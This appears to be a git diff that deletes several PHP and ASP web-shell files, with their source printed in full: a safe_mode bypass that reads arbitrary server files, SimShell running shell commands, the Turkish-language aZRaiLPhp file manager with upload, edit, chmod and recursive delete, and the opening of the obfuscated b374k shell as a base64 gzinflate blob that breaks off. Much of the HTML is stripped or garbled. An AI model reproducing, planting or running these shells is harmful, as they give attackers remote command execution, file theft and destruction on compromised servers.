- - - - - - - - -<% -If Not Folder.IsRootFolder Then - BgToggle -%> - - - - - - - -<%BgToggle%> - - - - - - - -<% -End If -For Each SubFolder In SubFolders - BgToggle -%> - - - - - - - -<% -Next -For Each File In Files - BgToggle - Ext = FileExtension(File.Name) -%> - - - - - - - -<%Next%> -
NameSize Type Modified Attributes
?FolderPath=<%=Server.URLPathEncode(Folder.Drive & "\")%>">O Top Level
?FolderPath=<%=Server.URLPathEncode(Folder)%>"> Up One Level
">0 <%=SubFolder.Name%> (?CopyFolder=<%=Server.URLPathEncode(FolderPath & SubFolder.Name)%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy) <%=SubFolder.Type%> <%=SubFolder.DateLastModified%> <%=Attributes(SubFolder.Attributes)%>
3 "<%=File.Name%> (?CopyFile=<%=File.Name%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy)<%=(File.Size)%> Byte <%=File.Type%><%=File.DateLastModified%><%=Attributes(File.Attributes)%>
- - -<% -Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal MinUpperBound, ByVal IndexSeperator) - Dim lsResult - Dim llTemp - Dim giCount - MaxValuePerIndex = MaxValuePerIndex + 1 - Do While Int(SourceNumber / (MaxValuePerIndex ^ MinUpperBound)) > (MaxValuePerIndex - 1) - MinUpperBound = MinUpperBound + 1 - Loop - For giCount = MinUpperBound To 0 Step -1 - llTemp = Int(SourceNumber / (MaxValuePerIndex ^ giCount)) - lsResult = lsResult & CStr(llTemp) - If giCount > 0 Then lsResult = lsResult & IndexSeperator - SourceNumber = SourceNumber - (llTemp * (MaxValuePerIndex ^ giCount)) - Next - ConvertBinary = lsResult -End Function - -Private Sub BgToggle() - BackgroundColor = Not(BackgroundColor) - If BackgroundColor Then - BgColor = "#efefef" - Else - BgColor = "#ffffff" - End If -End Sub - -Private Function Attributes(AttributeValue) - Dim lvAttributes - Dim lsResult - lvAttributes = Split(ConvertBinary(AttributeValue, 1, 7, ","), ",") - If lvAttributes(0) = 1 Then lsResult = "ReadOnly  " - If lvAttributes(1) = 1 Then lsResult = lsResult & "Hidden  " - If lvAttributes(2) = 1 Then lsResult = lsResult & "System  " - If lvAttributes(5) = 1 Then lsResult = lsResult & "Archive  " - Attributes = lsResult -End Function - -Private Function FileExtension(FileName) - Dim lsExt - Dim liCount - For liCount = Len(FileName) To 1 Step -1 - If Mid(FileName, liCount, 1) = "." Then - lsExt = Right(FileName, Len(FileName) - liCount) - Exit For - End If - Next - If Not FileSystem.FileExists(ScriptFolder & "ext_" & lsExt & ".gif") Then - lsExt = "" - End If - FileExtension = lsExt -End Function - -Private Function ParseFolder(PathString) - Dim liCount - If Right(PathString, 1) = "\" Then - ParseFolder = PathString - Else - For liCount = Len(PathString) To 1 Step -1 - If Mid(PathString, liCount, 1) = "\" Then - ParseFolder = Left(PathString, liCount) - Exit For - End If - Next - End If -End Function -%> - diff --git a/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php b/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php deleted file mode 100644 index ac5dc38..0000000 --- a/Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php +++ /dev/null @@ -1,89 +0,0 @@ - - - - -

!Safe -Mode Shell v1.0!

-
-

-

-
-
-

-
- - - -*/ - -echo "Safe Mode Shell"; - - - - -$tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp - -if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") -{ - $safemode = true; - $hsafemode = "ON (secure)"; -} -else {$safemode = false; $hsafemode = "OFF (not secure)";} -echo("Safe-mode: $hsafemode"); -$v = @ini_get("open_basedir"); -if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v."";} -else {$openbasedir = false; $hopenbasedir = "OFF (not secure)";} -echo("
"); -echo("Open base dir: $hopenbasedir"); -echo("
"); -echo "Disable functions : "; -if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df
";} -$free = @diskfreespace($dir); -if (!$free) {$free = 0;} -$all = @disk_total_space($dir); -if (!$all) {$all = 0;} -$used = $all-$free; -$used_percent = @round(100/($all/$free),2); - -echo "
\n";
-if(empty($file)){
-if(empty($_GET['file'])){
-if(empty($_POST['file'])){
-die("\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\n 
PHP Emperor -xb5@hotmail.com
"); -} else { -$file=$_POST['file']; -} -} else { -$file=$_GET['file']; -} -} - -$temp=tempnam($tymczas, "cx"); - -if(copy("compress.zlib://".$file, $temp)){ -$zrodlo = fopen($temp, "r"); -$tekst = fread($zrodlo, filesize($temp)); -fclose($zrodlo); -echo "--- Start File ".htmlspecialchars($file)." --------------\n".htmlspecialchars($tekst)."\n--- End File -".htmlspecialchars($file)." ---------------\n"; -unlink($temp); -die("\nFile -".htmlspecialchars($file)." has been already loaded. PHP Emperor -;]"); -} else { -die("
Sorry... File -".htmlspecialchars($file)." dosen't exists or you don't have -access.
"); -} -?> \ No newline at end of file diff --git a/SimShell 1.0 - Simorgh Security MGZ.php b/SimShell 1.0 - Simorgh Security MGZ.php deleted file mode 100644 index 2fff063..0000000 --- a/SimShell 1.0 - Simorgh Security MGZ.php +++ /dev/null @@ -1,180 +0,0 @@ - array('pipe', 'w'), - 2 => array('pipe', 'w')), - $io); - - - while (!feof($io[1])) { - $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), - ENT_COMPAT, 'UTF-8'); - } - - while (!feof($io[2])) { - $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), - ENT_COMPAT, 'UTF-8'); - } - - fclose($io[1]); - fclose($io[2]); - proc_close($p); - } - } - - - if (empty($_SESSION['history'])) { - $js_command_hist = '""'; - } else { - $escaped = array_map('addslashes', $_SESSION['history']); - $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; - } - - -header('Content-Type: text/html; charset=UTF-8'); - -echo '' . "\n"; -?> - - - SimShell - Simorgh Security MGZ - - - - - - - - - - - - - - - - - - - - - - -

 Directory: -

- -
-
- -

- cmd: - Rows: - -

-

-
-
Copyright 2004-Simorgh Security
- Make On PhpShell Kernel
- - www.simorgh-ev.com

-
-
- - - \ No newline at end of file diff --git a/aZRaiLPhp v1.0.php b/aZRaiLPhp v1.0.php deleted file mode 100644 index 17aed57..0000000 --- a/aZRaiLPhp v1.0.php +++ /dev/null @@ -1,284 +0,0 @@ -read()) { - if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { - @chmod("$deldir/$file",0777); - deltree("$deldir/$file"); - } - if (is_file("$deldir/$file")) { - @chmod("$deldir/$file",0777); - @unlink("$deldir/$file"); - } - } - $mydir->close(); - @chmod("$deldir",0777); - echo @rmdir($deldir) ? "
S�L�ND�:$deldir/$file
" : "
Silinemedi:$deldir/$file
"; - } - -if ($op=='phpinfo'){ -$fonk_kap = get_cfg_var("fonksiyonlar�_kapat"); - echo $phpinfo=(!eregi("phpinfo",$fonk_kapat)) ? phpinfo() : "
phpinfo() Komutu �al��m�yiii
"; - exit; -} - - -echo " - - azrail 1.0 by C-W-M - - - - "; - -echo "
aZRaiLPhp v1.0!!!

-
C-W-MHACKER
-
"; -echo "
PHP INFO
"; -echo "
-
"; - -echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; -echo "
- Root Klas�r: $DOCUMENT_ROOT
- aZRaiLPhP'nin URL'si: http://$HTTP_HOST$REDIRECT_URL
"; - -if(!isset($dir)){ -$dir="$default"; -} -echo " -
-
-
"; - -if ($op=='up'){ - $path=dir; - echo "

DOSYA GONDERME

"; -if(isset($dosya_gonder)) { - -if (copy ( $dosya_gonder, "$dir/$dosya_gonder_name" )){ - echo "
Dosya Ba�ar�yla G�nderildi
"; -} -} elseif(empty($dosya_gonder)) { -$path=$dir; -$dir = $dosya_dizin; -echo "$dir"; -echo "
"; -echo "

"; - -echo "
"; -echo "
"; - - -echo ""; -} else { -die ("
Dosya kopyalanam�yor!
"); -} -} - -if($op=='mf'){ - $path=$dir; - if(isset($dismi) && isset($kodlar)){ - $ydosya="$path/$dismi"; - if(file_exists("$path/$dismi")){ - $dos= "B�yle Bir Dosya Vard� �zerine Yaz�ld�"; - } else { - $dos = "Dosya Olu�turuldu"; - } - touch ("$path/$dismi") or die("Dosya Olu�turulam�yor"); - $ydosya2 = fopen("$ydosya", 'w') or die("Dosya yazmak i�in a��lam�yor"); - fwrite($ydosya2, $kodlar) or die("Dosyaya yaz�lam�yor"); - fclose($ydosya2); - echo "
$dos
"; - } else { - - echo "
"; - echo "
Dosya �smi :

"; - echo "
"; - echo "
KODLAR

"; - echo "
"; - echo "
"; - echo "
"; - } -} - -if($op=='md'){ - $path=$dir; - if(isset($kismi) && isset($okmf)){ - $klas�r="$path/$kismi"; - mkdir("$klas�r", 0777) or die ("
Klas�r Olu�turulam�yor
"); - echo "
Klas�r Olu�turuldu
"; - } - - echo "
"; - echo "
Klas�r �smi :

"; - echo "
"; - echo "
"; - echo "
"; -} - - -if($op=='del'){ -unlink("$fname"); -} - - -if($op=='dd'){ - $dir=$here; - $deldirs=$yol; - if(!file_exists("$deldirs")) { - echo "Dosya Yok"; - } else { - deltree($deldirs); - } -} - - - -if($op=='edit'){ -$yol=$fname; -$yold=$path; -if (isset($ok)){ -$dosya = fopen("$yol", 'w') or die("Dosya A��lam�yor"); -$metin=$tarea; -fwrite($dosya, $metin) or die("Yaz�lam�yor!"); -fclose($dosya); -echo "
"; -} else { -$path=$dir; -echo "
D�ZENLE: $yol
"; -$dosya = fopen("$yol", 'r') or die("
"); -$boyut=filesize($yol); -$duzen = @fread ($dosya, $boyut); -echo "
"; -echo "

"; -echo "
"; -fclose($dosya); -$duzen=htmlspecialchars($duzen); -echo "
"; -} -} - -if($op=='efp2'){ -$fileperm=base_convert($_POST['fileperm'],8,10); - echo $msg=@chmod($dir."/".$dismi2,$fileperm) ? "$dismi2 �S�ML� DOSYANIN" : "DE��T�R�LEMED�!!"; - echo " CHMODU ".substr(base_convert(@fileperms($dir."/".$dismi2),10,8),-4)." OLARAK DE��T�R�LD�"; -} - -if($op=='efp'){ -$izinler2=substr(base_convert(@fileperms($fname),10,8),-4); -echo "
-
CHMOD: - - -

-
"; - -} - - -$path=$dir; -if(isset($dir)){ -if ($dir = @opendir("$dir")) { -while (($file = readdir($dir)) !== false) { -if($file!="." && $file!=".."){ -if(is_file("$path/$file")){ -$disk_space=filesize("$path/$file"); -$kb=$disk_space/1024; -$total_kb = number_format($kb, 2, '.', ''); -$total_kb2="Kb"; - - -echo "
$file - indir - d�zenle - "; -echo "sil - $total_kb$total_kb2 - "; -@$fileperm=substr(base_convert(fileperms("$path/$file"),10,8),-4); -echo "$fileperm"; -echo "
\n"; -}else{ -echo "
G�T> $path/$file - DIR - Sil - "; -$dirperm=substr(base_convert(fileperms("$path/$file"),10,8),-4); -echo "$dirperm"; -echo "
\n"; - -} -} -} -closedir($dir); -} -} - - - - - -echo "
Root Klas�r�ne Git
"; -if(file_exists("B:\\")){ -echo "
B:\\
"; -} else {} -if(file_exists("C:\\")){ -echo "
C:\\
"; -} else {} -if (file_exists("D:\\")){ - echo "
D:\\
"; -} else {} -if (file_exists("E:\\")){ - echo "
E:\\
"; -} else {} -if (file_exists("F:\\")){ - echo "
F:\\
"; -} else {} -if (file_exists("G:\\")){ - echo "
G:\\
"; -} else {} -if (file_exists("H:\\")){ - echo "
H:\\
"; -} else {} - - -echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; -echo "
SERVER B�LG�LER�
"; -echo "
$SERVER_SIGNATURE"; -echo "Software: $SERVER_SOFTWARE
"; -echo "Server IP: $SERVER_ADDR
"; -echo "
"; -echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; -echo "
��LEMLER
"; -echo "
Dosya G�nder
"; -echo "
Dosya Olu�tur
"; -echo "
Klas�r Olu�tur
"; -echo "--------------------------------------------------------------------------------------------------------------------------------------------------------------------"; -echo "
T�m haklar� sahibi C-W-M'ye aittir

"; -?> - - - - diff --git a/b374k.php.php b/b374k.php.php deleted file mode 100644 index 5679116..0000000 --- a/b374k.php.php +++ /dev/null @@ -1,266 +0,0 @@ -".gzinflate(base64_decode("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 